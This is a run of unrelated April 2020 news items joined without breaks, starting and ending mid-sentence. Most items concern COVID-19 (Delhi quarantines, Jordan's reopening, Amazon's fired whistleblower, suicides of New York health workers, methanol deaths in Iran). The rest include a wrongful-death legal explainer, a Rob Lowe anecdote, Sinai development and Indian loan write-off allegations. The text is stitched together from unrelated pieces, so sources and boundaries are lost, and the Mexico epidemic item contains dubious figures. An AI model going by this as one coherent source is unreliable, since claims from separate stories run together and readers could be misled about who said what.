four employees to some with over 10,000 workers in the Bay Area. Chase DiFeliciantonio is a San Francisco Chronicle staff writer. Email: chase.difeliciantonio@sfchronicle.com Twitter: @ChaseDiFelice A counsellor of the Delhi Commission For Women (DCW) and a driver have been put under quarantine after they rescued a woman who was later found COVID-19 positive, the panel said on Tuesday. DCW chief Swati Maliwal has written to Delhi Health secretary Padmini Singla, informing her about the matter and asking her to ensure thorough contact tracing. On April 24, the DCW counsellor had rescued a woman who was confined by her parents for allegedly marrying against their wishes with the help of police personnel from KN Katju Marg police station. The woman was handed over to her husband and they both travelled to Panipat. However, they met with an accident after which they were admitted to a hospital. The woman tested positive for coronavirus when her examination was done at the hospital, the panel said. The DCW has shared a list of persons who came in direct or secondary contact with the woman, including the police personnel. The woman counsellor and the mobile van driver have been placed under quarantine, it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi, April 28 : As many as 36 security personnel from Delhi police deployed in the Supreme Court, which was spooked a day ago when one of its employees tested positive for COVID-19, have been quarantined. According to sources, familiar with development in the top court, an infected employee was in the section IV of Registry, and his last working day was on April 16. The employee had visited the apex court additional building across the road, and he had also worked in the main complex. "He is a regular employee and not contractual, and currently, he is in a Delhi hospital", said a source. The infected person had come in close contact with two registrars, who have been also asked to self-quarantine. "We will take further steps after discussing the situation with ICMR (Indian Council of Medical Research) and medical experts. The family of the employee has been quarantined", said the source. A complete contact tracing was conducted to identify people who had come in contact with this employee. A senior police officer, who is part of the security of the apex court, conducted contact tracing and identified 36 security personnel at various locations on the court complex, who had come in contact with this employee, sources said. All these security personnel have been quarantined. "For hours, police officers scanned the CCTV footage to identify people who had come into contact with this employee", said a source. The judges are taking up urgent matters from their residences and through a video-link, petitioners and lawyers participate in hearings. The Registry has been asked to share the video link with the parties concerned. Mumbai, April 28 (IANS) Actor-host Maniesh Paul is making sure that his fitness is not affected during the ongoing coronavirus lockdown. Image Source: IANS News Mumbai, April 28 : Actor-host Maniesh Paul is making sure that his fitness is not affected during the ongoing coronavirus lockdown. In this difficult phase, his family is staying indoors, and Maniesh has found a new way to burn some calories. "While I am missing the shoot of 'Sa Re Ga Ma Pa Li'l Champs' as well as the young contestants, I understand the need to stay indoors. I knew I'll not be able to go to the gym when the lockdown was eminent, but I wanted to work out every day and so, I bought some gym equipment," said the host of "Sa Re Ga Ma Pa Li'l Champs". "Come what may, me and my wife wanted to stay fit during this quarantine phase. I brought dumbbells, benches and rods -- everything home," he added. He also shared that his wife is into functional training. "We are doing lot of planks, push-ups, ab crunches and so on as well. In fact, every day for cardio, we are walking down 10 floors and then we climb up again. We repeat this for 20 minutes in a day and make sure that we cover everything," he said. Mexico has faced different diseases and epidemics over the previous five centuries, and some of these almost killed the country's population. So far, COVID-19 is not the deadliest epidemic that Mexico has faced in its history. One of the most deadly pandemics, smallpox, that the country experienced will mark its 500th anniversary during the second semester of this year. The worst the country has experienced so far that almost eliminated the population of Mexico is the hueycocoliztli epidemic in 1576. This was even described in one of the peer-reviewed health journals as the Megadrought and Megadeath in the 16th Century in Mexico. Dr. Carlos Viesca Trevino and Elva Malvido from the National Autonomous University of Mexico have studied the previous pandemics in the country. They wrote about the memories and characteristics of these diseases or epidemics. Here are the previous diseases and epidemics that Mexico had faced over the last five centuries: 1. Murine Typhus This epidemic happened before the colonization of the Spaniards. This occurred in 1508, but other sources tell that there was a typhus epidemic before that year, and some sources also said that the virus ended with Tula in the 12th century. Viesca, the author of books like Mexico's Pre-Hispanic Medicine, said that because of the Spanish colonization in the country, the indigenous were forced to dress like Europeans. These indigenous have one of the highest practices of hygiene before Spaniards arrived because they used to take a bath several times a day since they are not wearing clothes. This means that their hygiene practice was changed. The dress and clothes have lice that gave them typhus. The Catholic Church, during the Spanish colonization in Mexico, banned Temazcal, which could have prevented many epidemics. Moreover, there were diseases and epidemics before the arrival of the Spanish. These diseases were called cocoliztli, which means "the disease we catch." 2. Smallpox This was the first great epidemic in the year 1520. It did not reach the level of the pandemic because it did not reach all parts of the world. However, it infected all of the American continent little by little. The carrier of the disease was Francisco de Eguia, who had been a slave, and he came from Northern Spain. Eguia is now referred to as the Patient Zero. This almost killed the Mexican population. One source said that it infected 300,000 victims, while another source said that 40 percent of the country's population was infected and killed because of this epidemic. Meanwhile, Mexico's researchers and historians agree to the two figures because, for them, it was the key of Hernan Cortes to achieve colonization. 3. Measles The second epidemic in the country was measles in 1531. According to Dr. Viesca, the spread of the disease started from the Spaniards when they arrived in the country, and it killed mainly children during that time. 4. Hueycocoliztli Matlazahuatl This happened 14 years after the measles. This was a typhus epidemic that came from Europe. According to Dr. Viesda, this type of disease was carried by black rats that are from the ships and transmitted it through their lice to other rats than to humans. It killed a lot of people in Mexico. 5. Hueycocoliztli This happened in 1576 and was described as the worst in the 16th century. The name of the disease does not even have a new word because many do not know what this disease was. It was just recently that a German researcher found out that it was a type of typhoid. This was called as the worst because it almost killed the entire population in Mexico. It had killed 1.2 million people every month. Dr. Viesca added that between August and late 1576, it killed over a million in Central Mexico, or four out of five died due to this disease. Read related articles: Jordan allowed people to freely move around and businesses to reopen on Monday as it relaxed its countrywide lockdown aimed at stopping the spread of the coronavirus. One resident of the capital Amman said the decision was brave, but that Jordans fight with the virus may not be over. Only time will show if it will increase the spread of the virus or not, as some people are not taking safety measures seriously, Ibrahim Rantissi told Al-Monitor. The decisions allows people to drive around and businesses to reopen for the first time in more than a month. Jordanians can now drive their vehicles between 8 a.m. and 6 p.m. Barbershops, salons and dry cleaners are among the businesses that can now reopen. Public transportation and taxi services have resumed, but people using them must wear gloves and a face mask, according to a report from Reuters. Rantissi said some normality has already returned to Amman. Life is gradually going back to normal, he said. People are doing lots of outdoor activities. One woman in Amman said she is happy there is still a limit on movement at night. Of course, my opinion is that this is right because there have been so many infections, Dana About told Al-Monitor. Jordan started one of the strictest lockdowns in the region in March. Non-essential businesses were closed, as were mosques, churches, the international airport in Amman and land borders. Gatherings of more than 10 people were prohibited and people could only go to nearby supermarkets and pharmacies. The military was sent to enforce the measures in many areas. The government relaxed the lockdown in the southern port of Aqaba last week as part of a plan to reopen the economy. The closures have left many Jordanians unable to work. Jordans air and land crossings remain closed. The country has 449 confirmed coronavirus cases, according to Reuters. What is a Wrongful Death Claim? If an individual (the "decedent") has died and his or her death was caused by the negligence or intentional acts of another, the surviving members of the decedent's family can file a wrongful death lawsuit. A wrongful death lawsuit is a civil in nature, meaning that if the lawsuit is successful, monetary damages will be awarded. As opposed to a criminal case, if an individual is charged and convicted of causing the death of someone, that person faces fines and prison time, but no money is awarded to the family of the decedent. Wrongful death claims can be brought anytime an individual is alleged to have been killed by someone else, but some of the common scenarios giving rise to wrongful death claims are listed below: Medical Malpractice - an individual dies due to the negligence of a medical professional. Car Accident - an individual dies in a car crash and the crash was caused by someone else. Workplace Accident - an individual dies performing the duties of his or her employment. Dangerous Property - an individual dies to the negligent upkeep of another's property or the individual dies due a dangerous condition on the property. Intentional Act - an individual is intentionally killed by another person. A person can be both criminally and civilly responsible for the death of the individual. What Has to be Proven in a Wrongful Death Case? Just because an individual dies does not automatically give rise to a wrongful death claim. Many times, deaths occur due to unfortunate accidents where no one is at fault. In order for a wrongful death claim to proceed and ultimately be successful, the decedent's representative initiating the lawsuit must prove by a preponderance of the evidence that another individual actually caused the decedent's death. Courts generally require three factors to be met in a wrongful death case - Duty of Care - the plaintiff bringing the lawsuit must show that the defendant in the case owed a "duty of care" to the decedent. Duty of care generally means that the defendant had an obligation to act reasonably toward the decedent during the situation that lead to decedent's death. For example, a surgeon owes a duty of care to his patients and must operate on them in a non-negligent manner in accordance with accepted medical standards. Breach of Duty of Care - the plaintiff must show that the defendant breached his or her required duty of care. Taking the example from above, a surgeon owes a duty of care to his patients. If a surgeon performs surgery while intoxicated, this surgeon has breached the duty of care. Causation - the plaintiff must show that the defendant's actions caused the decedent's death. In the surgery example, if the surgeon perforated an artery of the decedent during surgery and this perforation was due to the surgeon's shaking hands because of his intoxication, then the element of causation will likely be met. What are the Penalties in a Wrongful Death Case? If a plaintiff can establish the three elements necessary to prove the defendant caused the decedent's death, then the plaintiff is entitled to damages from that defendant. Again, wrongful death cases are civil cases so the plaintiff can only get monetary compensation from the defendant. Determining how much money a plaintiff is owned from a wrongful death settlement is often a complex calculation of the value of the decedent's life. While no amount of money makes up for a loss of life, the following are factors used in the valuation of wrongful death damages: The decedent's earning capacity had he or she lived a full life. The decedent's age. The decedent's health status at the time of his or her death. The medical expenses incurred as a result of incident that led to decedent's death. Funeral expenses of the decedent. Whether or not the decedent had a spouse or children. The above does not represent an exhaustive list of factors used in determining damages stemming from wrongful death. Each wrongful death case must be evaluated on the totality of the circumstances to arrive at a correct valuation for damages owed. Effective Defense Strategies for Wrongful Death Claims Legal defense strategies to wrongful death claims will depend on the circumstances of the facts giving rise to the alleged wrongful death. The facts of each case need to be critically analyzed to see where certain defenses might be appropriate. Defenses to wrongful death can be as follows - No causation. Causation is a key element the plaintiff must prove in a wrongful death action. The defendant's actions or inactions must have actually caused the death of the decedent. A defendant can succeed in a wrongful death case if he or she can establish a break in the chain of events that led to decedent's death. For example, in a car accident case, if the defendant can show that decedent died due to not wearing a seatbelt even though defendant hit decedent's car, the defendant can prove it was not defendant's driving that caused decedent's death. Negligence on part of decedent. In certain jurisdictions, if the decedent was negligent in his or her actions in addition to the defendant's, recovery on part of the plaintiff will not be allowed. A defendant must show that the decedent engaged in behavior that contributed to his or her own death. Assumption of Risk. In certain circumstances, if a decedent assumed the risk of an activity that caused his or her death, the plaintiff cannot recover any damages. To successfully assert this defense, the defendant must prove that the decedent knew and fully understood the risk and danger of undertaking the actions that ultimately led to his or her death. Engaging in Illegal Activity. A plaintiff can usually not recover any damages in a wrongful death action if the decedent was killed during the course of the decedent engaging in some sort of illegal activity. For example, if the decedent was killed when he or she was participating in a home invasion of an individual, then a plaintiff will not be able to recover damages stemming from decedent's death. The type of defense available to defendants in wrongful death claims is fact specific and should be evaluated and prepared by an experienced attorney. By not developing a solid defense strategy to wrongful death claims, defendants leave their financial interests exposed. The Modi government has waived Rs 68,607 crore of the top 50 bank loan defaulters, including Nirav Modi, Mehul Choksi and Vijay Mallya, the Congress alleged on Tuesday citing an RTI reply from the Reserve Bank of India (RBI). The Congress also alleged that the government waived loans worth Rs 6.66 lakh crore since 2014 till September 2019. Congress leader Rahul Gandhi said he had asked in Parliament the names of the top 50 bank loan defaulters in the country, but the finance minister did not answer. Now, the RBI has given out the list which includes Nirav Modi, Mehul Choksi and many of BJP's "friends", he said. "I asked a straight question in Parliament- state the names of the 50 top bank loan defaulters in the country. The finance minister refused to answer the question. "Now the RBI has given the names of Nirav Modi, Mehul Choksi and many of BJP's 'friends' in the list of bank frauds. That is why this truth was held back from Parliament," Gandhi said in a tweet in Hindi. Congress chief spokesperson Randeep Surjewala also released the list of the top loan defaulters in the country, as per the RTI reply, and demanded answers from the prime minister on why their loans were waived. "This is a classic case of promoting 'dupe, deceive and depart' policy of the Modi government, which can no longer be accepted and the prime minister has to answer," he told reporters through video conference. Surjewala also said "this reflects the misconceived priorities and dishonest intentions of the Modi government". He said the entire country is fighting the coronavirus and the government has no money to pay to states, but has the money to condone and write off Rs 68,307 crore of bank loan defaulters. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Rob Lowe said that a young Tom Cruise went 'ballistic' when they were placed in the same New York City hotel room to stay in during production of their 1983 motion picture The Outsiders. In addition to Cruise and Lowe, the Francis Ford Coppola-directed motion picture featured a lineup of future stars, including Matt Dillon, Emilio Estevez, Ralph Macchio and the late Patrick Swayze. The 56-year-old actor, speaking with Dax Shepard on Armchair Expert with Dax Shepard, said that the incident came at a time the film was being cast, and actors from both coasts were united to test chemistry for the crime drama. Memory lane: Rob Lowe, 56, said that a young Tom Cruise went 'ballistic' when they were placed in the same New York City hotel room to stay in during production of their 1983 motion picture The Outsiders. The actor was snapped in Hollywood in February 'All of the L.A. people survived the L.A. auditions, and then the hand-picked people had to go to New York to face the New York version; so it was me and Tom Cruise and Emilio and C. Thomas Howell,' the Parks and Recreation actor said. Lowe, who is father to two sons - Matthew, 27, and John Owen, 25 - noted that the trip marked the 'first time [he] ever stayed at The Plaza Hotel,' adding, 'We check-in and Tom finds out that we're sharing a room and just goes ballistic ... I mean it made me laugh, it was gnarly. ' Lowe said that the incident was reflective of Cruise's confidence in himself early on. 'To me, what's great about the story is, there's certain people who have always been who they are, and that element of them has powered them to where they are today and the rest is history,' the veteran actor told Shepard. 'And the notion that an 18-year-old actor with a walk-on part in Endless Love and like a 7th lede in Taps could have that kind of like wherewithal. Way back when: The actors were seen in this exchange in the movie, along with co-star C. Thomas Howell Ensemble: The 1983 film features a cast of (L-R) Emilio Estevez, Rob Lowe, C. Thomas Howell, Matt Dillon, Ralph Macchio, Patrick Swayze and Tom Cruise Pre-Top Gun: Lowe said Cruise's confidence and focus was high on the set of the 1983 movie 'I remember going, "Wow, this guy is the real deal."' He said 'you can't argue with the results' of Cruise's career, adding, 'He's had his eye on the ball since day one.' In the movie, which was based off of S. E. Hinton's 1967 novel The Outsiders, Lowe played the role of Sodapop Curtis to Cruise's Steve Randle. Lowe told Shepard that Cruise was 'relentless' in his stunt work on production of the film, and 'ended up being the only one who could do a backflip.' He added: 'It is in the movie The Outsiders for no reason - just to do it.' STATEN ISLAND, N.Y. -- Airbnb has teamed up with the New York State Nurses Association (NYSNA) to provide housing for frontline workers who are caring for coronavirus (COVID-19) patients on Staten Island. Through this partnership, NYSNA members will receive direct access to book free stays via the Airbnb Frontline stays program, with a specific focus on serving NYSNA members in need of accommodations on Staten Island. Nurses and other frontline healthcare workers are fighting COVID-19 with everything weve got, said Pat Kane, NYSNA executive director, who is also a Staten Islander. "Protecting our families sometimes means keeping our distance, and thanks to programs like Frontline stays were able to take care of our families as well as our patients. Airbnb is also working with the city fire department (FDNY) to connect their members -- including emergency medical technicians and paramedics -- to hotel rooms via the Airbnb platform and HotelTonight, which is part of Airbnb. Airbnb co-founder and CEO Brian Cheskys $2 million personal commitment to support New Yorks response to the COVID-19 pandemic will contribute to these frontline stays. All across New York, 24 hours a day, seven days a week, frontline workers are saving lives. It is an honor and a privilege to offer these heroes some peace of mind and the ability to safeguard their families off the clock through Frontline stays," said Josh Meltzer, head of Northeast Policy for Airbnb. We are proud to stand with NYSNA and support their members as they fight to keep us safe. Earlier this month, Airbnb joined forces with 1199SEIU United Healthcare Workers East -- the largest healthcare union in the nation -- to offer 1199 members accommodations across the East Coast. These initiatives with NYSNA, the FDNY and 1199SEIU are all part of Frontline stays, Airbnbs program to allow hosts to open their spaces to those on the front lines of the COVID-19 pandemic. New and existing Airbnb hosts interested in supporting first responders can sign up here. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** FOLLOW TRACEY PORPORA ON FACEBOOK and TWITTER Amazon may have acted illegally in firing a whistleblower warehouse worker 'to silence his complaints', according to the New York Attorney General. In a letter to the retail giant last week Letitia James' office slammed the health and safety measures taken in response to the COVID-19 pandemic as 'inadequate'. Amazon terminated Christian Smalls on grounds that he put others at risk by violating his paid quarantine when he joined a demonstration at Amazon's Staten Island fulfillment center. But the letter, sent to the company on April 22, adds that preliminary findings 'raise serious concern that Amazon may have discharged (Smalls) in order to silence his complaints and send a threatening message to other employees that they should also keep quiet about any health and safety concerns'. 'Amazon's health and safety measures taken in response to the COVID-19 pandemic are so inadequate that they may violate several provisions of the Occupational Safety and Health Act,' James's office wrote in the letter. Amazon, founded by billionaire Jeff Bezos, said it has taken 'extreme measures' to keep its employees safe, according here to a company statement cited by NPR, which first reported on the letter. New York Attorney General Letitia James', left, office slammed the health and safety measures Amazon has taken in response to the COVID-19 pandemic as 'inadequate'. Amazon terminated Christian Smalls, right, after he joined a demonstration at Amazon's Staten Island facility Amazon employees hold a protest and walkout over conditions at the company's Staten Island distribution facility on March 30. A letter says preliminary findings 'raise serious concern that Amazon may have discharged (Smalls) in order to silence his complaints' A spokesman said: 'We encourage anyone to compare the health and safety measures Amazon has taken, and the speed of their implementation, during this crisis with other retailers.' But James' office is also said to looking into 'other cases of potential illegal retaliation' against workers. The letter adds: 'This Office has learned that many workers are fearful about speaking out about their concerns following the termination of Mr. Smalls' employment. 'This is a particularly dangerous message to send during a pandemic, when chilling worker speech about health and safety practices could literally be a matter of life and death.' It also calls on the e-commerce giant to close some warehouses for 'adequate sanitization and disinfection'. Leaked notes previously revealed the trillion dollar company's plans to vilify Smalls. Top bosses referred to Smalls as 'not smart' and discussed placing him as the face of the workers' walkout. 'He's not smart, or articulate, and to the extent the press wants to focus on us versus him, we will be in a much stronger PR position than simply explaining for the umpteenth time how we're trying to protect workers,' wrote Amazon General Counsel David Zapolsky. 'They pretty much retaliated against me for speaking out,' Smalls had told The New York Post. 'I don't know how they sleep at night.' Protesters are seen at Amazon building in Staten Island . NY AG James' office is also said to looking into 'other cases of potential illegal retaliation' against workers The world's largest online retailer has been facing intense scrutiny by lawmakers and unions over whether it is doing enough to protect staff from the coronavirus The world's largest online retailer has been facing intense scrutiny by lawmakers and unions over whether it is doing enough to protect staff from the coronavirus. A spokesman for the company said the right to protest 'does not provide blanket immunity against bad actions, particularly those that endanger the health, well-being or safety of their colleagues'. The Seattle-based firm has been facing public scrutiny over safety and working conditions of warehouse, delivery and retail gig workers in the United States after cases of COVID-19 were reported in some of its facilities. Workers in across the U.S. have protested at what they say are unsafe working conditions. As well as the walkouts in Staten Island and Minnesota, staff have protested in Chicago and Detroit. It fired three more employees who spoke out over the company's pandemic working conditions. Bashir Mohamed was let go from the Minnesota plant where had worked for three years last week after protests there, Buzzfeed reports. Designers Emily Cunningham and Maren Costa, both critics of the online retail giant's working conditions in the wake of the coronavirus pandemic, were also let go. Amazon say Mohamed was fired because he refused to speak to a supervisor; Cunningham and Costa for 'repeatedly violating internal policies'. In March, New York City Mayor Bill de Blasio said he ordered the city's human rights commission to open an investigation into the dismissal of Smalls. Amazon founder Jeff Bezos wears a mask and has his temperature checked on a visit to one of his facilites in Dallas. The Seattle-based firm has been facing public scrutiny over safety and working conditions of warehouse, delivery and retail gig workers Grocery store workers and others stage a protest rally outside the Whole Foods Market, also owned by Bezos, in the South End of Boston, to demand personal protective equipment, added benefits if needed and hazard pay, during the coronavirus pandemic on April 7 Like first responders, Amazon workers are bringing food and essential goods to millions of people whom governments have told to stay at home. But doing so puts staff into proximity with countless others at warehouses, at grocery stores and at shoppers' doorsteps, increasing the likelihood they will contract the COVID-19 disease. The company said earlier this month it had filled 100,000 new positions it had advertised before looking for 75,000 more people to fill roles. - Many social media users recently made an appeal to the Kapamilya network -They want Kris TV to be the current morning talk show in ABS-CBN - Some of them commended Kris Aquino for being so spontaneous - They also claimed that the celebrity is excellent when it comes to throwing questions PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed The now-defunct morning talk show entitled Kris TV recently became a trending topic on social media. KAMI learned that a lot of netizens are appealing to the Kapamilya network to return the Kris Aquino-hosted program in lieu of Magandang Buhay. Many of them claimed that Kris TV is more entertaining and that its host possesses great skill when it comes to asking questions. PAY ATTENTION: Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news! Some of them also commended the Queen of All Media for her spontaneity whenever she does an interview on national television. I like it when she [Kris Aquino] asks the questions that are from the heart and not scripted a netizen wrote. Kris Aquino is super entertaining. Bring back Kris TV, another netizen commented. In a previous article by , Kris donated sacks of rice to tricycle drivers in Puerto Galera amid COVID-19 pandemic. Kris Aquino is one of the most popular television hosts in the Philippines. She is currently on showbiz hiatus to focus on raising her children. POPULAR: Read more news about Kris Aquino! Please like and share our Facebook posts to support KAMI team! Dont hesitate to comment and share your opinion about our stories either. We love reading about your thoughts! A Filipino found his own way to help frontliners amid pandemic. They had to walk an hour, an hour and a half to get to work. I mean, coming from an 8-hour shift sa hospital, tapos palalakarin mo pa yung nurse o kahit security guard. Parang hindi makatarungan, diba? on HumanMeter! Source: KAMI.com.gh Archer Daniels Midland: "If I want yield, I'll go for Verizon." Scorpio Tankers: "If you believe, like I do, that you've got another couple of weeks before this trade is over, Scorpio is fine." BioCryst Pharmaceuticals: "I just don't see any momentum." Slack Technologies: "I like it 'cause I think they can" compete with Microsoft. "I think they offer a good product and I'd be a buyer of the stock." Inmode: "Radio-frequency technology is not my style." On Friday, April 24, 23-year-old John Mondello tragically committed suicide after working less than three months as an Emergency Medical Technician (EMT) with the Fire Department of New York (FDNY). Just two days later, on Sunday, April 26, Dr. Lorna Breen, a 49-year-old ER doctor at New York Presbyterian Allen hospital, took her own life. Both had been working in some of the poorest neighborhoods in the US in the city, which has been ravaged by the coronavirus pandemic. There have been at least 17,515 deaths from COVID-19 in New York City, according to Johns Hopkins University. Every three minutes, another person dies of the virus in New York City. Breens father said that she had described to him an onslaught of patients in recent weeks. Some of them died before even making it out of the ambulances. Her hospital, New York Presbyterian Allen, serves impoverished, predominantly Hispanic communities in northern Manhattan and the Bronx. The hospitals 199 beds could have up to 170 COVID-19 patients. Already by April 7, 59 patients had died of the coronavirus. Dr. Lorna Breen Breen herself had also contracted the virus but had recently recuperated. She tried to do her job, and it killed her, her father told the New York Times. She was truly in the trenches of the front line. Make sure shes praised as a hero, because she was. Shes a casualty just as much as anyone else who has died. Mondello, who had just graduated from FDNYs Emergency Medical Services (EMS) Academy in early February, was sent to work in the Bronx right as the pandemic hit. His station had some of the highest 911 call volumes in the city. As the poorest borough in New York City and, indeed, the country, the Bronx has seen the highest infection and mortality rates in New York City. Residents are twice as likely to die from COVID in the Bronx than they are in other parts of the city. Entire families are getting infected, children orphaned. A friend of Mondello and fellow EMT told the New York Post, He told me he was experiencing a lot of anxiety witnessing a lot of death, hed feel it was a heavy experience when hed fail to save a life. They both had been severely affected by people passing away right in front of you. He added, We dont have the same union benefits as other city workers. Its really stressful to work long hours and not get paid as much. Paramedics can make as little as $35,000 a year, which is barely enough to live on in New York City. There has been an outpouring of public sympathy among Mondellos colleagues and workers more broadly in response to his tragic death. A fundraiser has quickly gathered over $11,000. The tragic suicides of Dr. Lorna Breen and John Mondello speak to the horrifying conditions and tremendous pressure health care workers are facing. But they were not inevitable. Responsibility for the high casualties among health care workers lies with the capitalist system and systematic government policies of malign neglect. EMT John Mondello It is these policies, on top of decades of social cuts, that have created conditions for mass death of workers on an unprecedented scale that health care workers are witnessing on a daily basis. At the same time, while trillions of dollars have been pumped into Wall Street, health care workers have been left without the personal protective equipment (PPE), staffing levels and medical equipment that they need to both protect themselves and adequately treat their patients. The scale of the exposure to mass death and the inability to save many lives for lack of personnel, equipment and time, is now creating emotional and psychological burdens that are becoming almost unbearable for many. Even before the pandemic, EMS and other health care professionals were at a significant risk of developing depression and post-traumatic stress disorder (PTSD). EMS workers were known to contemplate suicide at a rate 10 times higher than that of the average adult. Recent years also saw a tragic epidemic of nurse suicides. Dr. Shauna Springer, a trauma-recovery expert, told Business Insider that emergency personnel could suffer from overwhelming guilt at times because of those they cant save. They tell me that they carry a heavy burden of responsibility when they lose a patient, adding that every life lost can feel like a moral injury. Health care workers are regularly comparing the experience to that of a war-time situation as they witness multiple deaths every day, including among their colleagues. The two suicides bring the number of health care workers who have died because of the pandemic in New York state alone to at least 55. Describing the psychological trauma that he and other first responders are experiencing, a paramedic told the WSWS, When youre literally that person that determines who will live or die, its a big burden. When we bring patients to the hospital it at least alleviates some of the stress. But now a lot of hospitals are not even treating the patients we bring. The other day, a 19-year-old COVID patient we were transferring from one ICU to another went into cardiac arrest on the stretcher. The first thing the doctor said was: Fuck not again. They worked on him for 2 minutes and then they pronounced him [dead]. They didnt even bother working him up because they had other people to handle. These patients are dying alone. Were telling family members to go to another room so that we dont expose the family or dont expose ourselves to the family. Not even having the family see them is hard. Before the pandemic, talking to family members after a person passed away was a standard part of the job for EMS and hospital workers, helping both the families and the workers to cope. Now, social distancing and the lack of time make this all but impossible. Just the look on peoples faces now, its not the same look were used to or are comfortable with, the paramedic said. We dont really talk to each other like we used to in the past. Everybody is quiet. You come out of work, you hear about another EMT or paramedic who lost his life to COVID, but you dont even have time to internalize what you just heard. Were facing line-of-duty deaths at alarming rates. So far 11 FDNY members, including John Mondello, have officially died since the crisis began. EMS helping a man in the Bronx who collapsed in a food pantry line On top of the extreme psychological stress, nurses, doctors and EMS workers are working overtime, in shifts that can last up to 16 hours and come back to back. At several hospitals in the city, four hours of overtime per shift are mandatory for all employees. At EMS, many are under pressure to go to work, no matter what. The paramedic told the WSWS, The union [at EMS] is useless. They restricted us from using our sick time. You cannot use your vacation time off; you cannot use your sick time. You can only use your COVID sick leave. If I wanted a day off because Im just not feeling well, with a headache or because Im feeling depressed, youre denied, you have to come into work. They have a no-call-no-show policy and you can get fired if you dont show up. He said he had worked 122 instead of only 48 scheduled hours in March. EMS and other health care workers continue to face a dramatic shortage of proper PPE, as well as medical devices. At EMS, workers are mostly given yellow gowns that do not cover the face, the hair, the neck, or anything below the knees. Even then, they have to go scavenge for gowns in hospitals because they dont have enough for each patient they treat in a shift. Many nurses and doctors in state-owned hospitals only have whatever PPE they could borrow from friends or what they received through donations. In terms of PPE, virtually nothing has changed in the two months that the pandemic has raged in the US and New York City, the paramedic said. No one really cares about our safety, no one really cares whether we get sick or not. Last weekend, on 25 April, Egypt commemorated Sinai Liberation Day, an occasion that also served to remind us of the considerable developmental efforts the government has dedicated to Sinai since the 30 June 2013 Revolution. The government is determined not to repeat the mistakes of previous governments whose developmental efforts focused on the geographical centre at the expense of peripheries. It has therefore focused attention on the provinces, especially those in Upper Egypt and Sinai, with hopes of transforming them into areas attractive to both people and investment. Development of Sinai has the additional aims of combating terrorism and generating communities that contribute to bolstering Egyptian national security in its broader aspects. Sinai has already undergone a huge transformation during the past six years thanks to the new quality of attention it has received since 2014. The first priority was infrastructure, the cornerstone for drawing investment. New cities and industrial zones received a good share of such efforts which aspire to build a better life for Egyptians living in Sinai. This applies, in particular, to North Sinai where the Egyptian army has been engaged in a comprehensive and successful operation to eliminate the terrorism that threatened peoples lives and welfare. This campaign has been carried out in full coordination with local governing bodies to ensure the provision of basic foodstuffs, healthcare, social services and other essential needs. The national budget offers one way to gauge the transformation of Sinai, whether through short-term spending through the Ministry of Finance to enable government agencies to perform their daily job of providing basic services to the people, or through mid and long term investments undertaken by the Ministry of Planning in order to create the economic environment Sinai needs in the future. Huge resources, exceeding LE 600 billion, have been pumped into Sinai, sowing the seeds of a radical transformation. These seeds are tangible in infrastructural developments: the networks of roads and tunnels passing beneath the Suez Canal, linking different parts of the peninsula with the Delta, Nile Valley and other parts of the country; the water desalination plants to serve various developmental purposes and make it possible to invite larger numbers of residents; the renewable energy plants to serve and nurture the growth of diverse economic activities in industry, tourism and agriculture; and, of course, the new schools, hospitals and other such facilities to safeguard the health and build the minds of the people of Sinai. After all, the people are both the engine and the aim of all development efforts. The numerous projects to build, expand and raise the capacities of schools, educational administrations and staffs in Sinai testify to the high priority the government has given to public education in the peninsula. For example, the number of pre-university level classrooms has increased from 4,793 in 2016 to 5,021 in 2019, which is a higher classroom growth rate than in Cairo. Figures related to the health sector are on par with or higher than those in other parts of the country. The armed forces have already constructed major public hospitals in Al-Arish and Sharm El-Sheikh and, in anticipation of a growing population in Sinai, the National Sinai Development Plan aims to increase the number of hospital beds to 6,000 through the construction of 54 public hospitals operated by the Ministry of Health and another 23 private sector hospitals. Contrary to claims in some inaccurate and misleading reports abroad, the government aims to narrow the developmental disparity between Sinai and the Nile Valley and the Delta. It wants to end that vicious cycle that has long kept Sinai down as one of the poorest regions in the country. This cycle begins with a relatively sparse population that offers only a small market, which does not encourage investment. The lack of prospects of economic growth and employment, in turn, drives Sinai inhabitants to the Nile Valley and Delta, which reinforces the cycle and aggravates the disparity. Through many measures to stimulate and develop productive sectors, taking advantage of the many resources Sinai has to offer, the government hopes to attract investment and create opportunities that will not only serve as incentives to the people of Sinai to remain in Sinai, but also to attract new inhabitants away from Egypts overcrowded urban centres elsewhere. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: About 700 people have died in Iran after they infused toxic methanol, in a bid to cure coronavirus. The national coroners authority said that alcohol poisoning killed 728 Iranians between February 20 and April 7. Alcohol poisoning has seen a 10-fold increase in Iran in the past year, according to a government report released earlier in April, amid the coronavirus pandemic. Kianoush Jahanpour, Iranian health ministry spokesman, reported that 5,011 people had been poisoned from methanol alcohol. He added that some 90 people have lost their eyesight or are suffering eye damage from the alcohol poisoning. Hossein Hassanian, a health ministry adviser, said the final tally of people who lost their eyesight could be much higher. In the Middle east, iran is facing the worst coronavirus outbreak in the Middle East with 5,806 deaths and more than 91,000 confirmed cases. Methanol cannot be smelled or tasted in drinks. The alcohol was said to have caused delayed organ and brain damage. Symptoms include chest pain, nausea, hyperventilation, blindness and even coma. In Iran, the government mandates that manufacturers of toxic methanol add an artificial colour to their products so the public can tell it apart from ethanol, the kind of alcohol that can be used in cleaning wounds Share this post with your Friends on It has been over a month since the COVID-19 outbreak managed to disrupt the lives of citizens. While the authorities have been forced to put in restrictions to check the spread of the deadly virus, the collateral damage has been the debilitating impact on the economy and livelihoods of people, especially in lower-income class categories. In this interview with Moneycontrol, Bhupesh Baghel, Chief Minister of Chhattisgarh, speaks about his strategy to contain the outbreak and the way ahead. Edited excerpts: Q. How is Chhattisgarh coping with the COVID-19 outbreak? A. The moment the state government received information about the spread of COVID-19, it started preparations to combat it by forming a rapid response team in all districts on January 27. The screening was started on January 28 at the airport and the isolation hospital has been operational from February 1. Before any other state, Chhattisgarh was the first to take spontaneous decision of sealing borders with other states. We even announced lockdown much before the nationwide lockdown. These measures helped us to control the spread of COVID-19 to a great extent. There are 28 districts in Chhattisgarh and 23 districts have not reported any outbreak. There are currently 12 active corona positive cases in the state. They are all from the same district. Out of a total of 36 